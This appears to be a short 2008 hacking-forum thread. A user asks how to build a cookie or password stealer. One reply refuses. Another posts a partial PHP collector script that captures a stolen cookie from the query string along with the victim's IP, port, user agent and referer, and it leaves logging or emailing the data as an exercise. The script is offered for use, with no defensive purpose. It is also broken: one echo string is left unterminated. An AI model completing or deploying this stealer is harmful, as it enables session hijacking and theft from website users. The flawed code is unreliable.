Ethical Hacker Community Forums

Resources => Tutorials => Topic started by: Joker669 on June 06, 2008, 02:06:48 PM



Title: How to....
Post by: Joker669 on June 06, 2008, 02:06:48 PM
could someone teach how to make a big string or a cookie/password stealer please.


Title: Re: How to....
Post by: shakuni on June 06, 2008, 02:13:17 PM
No.


Title: Re: How to....
Post by: dean on June 06, 2008, 02:38:44 PM
No.
why not?

joker669 here is PART of what you need to create a cookie stealer.

<?php
$cookieLog="cookie.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_globals');
$ip = getenv('REMOTE_ADDR');
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
echo('<html><body onload="window.close();"></body></html>);
?>

How to actually write it to a file or email it to yourself I leave as an exercise  for you. Can't just give everything away now can I?

I would suggest reading up on global variables in PHP.

dean


Title: Re: How to....
Post by: g00d_4sh on June 06, 2008, 03:27:05 PM
Speaking of cookies.  Anyone ever played around with cookie poisoning?  Just one of those things i've never played with.  I read an interesting article a bit ago about a gent that got some fines and jail time for using that to get free extra coupons.